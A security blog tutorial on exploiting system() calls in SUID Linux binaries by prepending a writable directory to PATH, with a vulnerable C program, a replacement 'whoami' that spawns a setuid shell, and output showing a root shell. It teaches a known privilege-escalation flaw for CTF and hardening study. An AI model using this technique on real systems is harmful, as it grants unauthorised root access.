Exploiting calls to system()

The system() function is quite common to see in custom binaries on linux systems, occuring frequently in CTF challenges. From a programming perspective its a quick and easy way to execute other programs, it takes a single string as an argument and uses /bin/sh to execute it. However, it is beset by a range of security issues, especially when used in a binary that runs with elevated privileges, the man pages for system() go so far as to suggest that you avoid it completely, and use the exec() family of functions in these cases.


Subverting the PATH

Because system invokes /bin/sh -c to execute commands, it uses whatever environment variables are configured for the user who executes the program, the most notable of these is the PATH environment variable.

If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.

Lets look at a contrived example program:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv)
{
    printf("Hello \n");
    system("whoami");
    return(0);
}

 

user@kali:~$ gcc greet.c -o greet
user@kali:~$ ./greet
Hello 
user

With a PATH environment variable set to

/usr/local/bin:/usr/bin:/bin

The greet program will attempt to execute /usr/local/bin/whoami, if that fails it will try /usr/bin/whoami, and if that fails, it will try to execute /bin/whoami. Whoami can normally be found in /usr/bin/, so if you could write to /usr/local/bin/whoami you could hijack the call and run your own code. Now its unlikely that you’re going to be able to write here, but there’s a good chance that you can modify the PATH variable, adding a folder where you can write to the front of it, before any of the others.

user@kali:~$ export PATH=/home/user:$PATH

Now, when I execute ./greet, the program will attempt to execute whatever is at /home/user/whoami first. Seeing as I can write to this location, I’m going to provide my own program (and I’m going to do it properly, with execl()).

#include <unistd.h>
#include <stdio.h>

int main(int argc, char *argv)
{
    printf("Please enjoy this complimentary shell:\n");
    setuid(geteuid());
    setgid(getegid());
    execl("/bin/sh", "sh", NULL);
    return(0);
}

Quick test in the /home/user directory

user@kali:~$ gcc malicious.c -o whoami
user@kali:~$ ./whoami
Please enjoy this complimentary shell:
$ exit

Bringing it all together

user@kali:~$ ./greet
Hello 
Please enjoy this complimentary shell:
$ id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

So far so good, but it’s not really gained us much, except for the ability to control the ouput of the program. Where this technique really comes into its own is when the vulnerable binary is SUID root

user@kali:~$ sudo chown root:root ./greet && sudo chmod +s ./greet

Now, when we execute it we get a shell running not as our own low priv user, but as root

user@kali:~$ ./greet
Hello 
Please enjoy this complimentary shell:
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1000(user)

 

This entry was posted in Uncategorized. Bookmark the permalink.

Leave a comment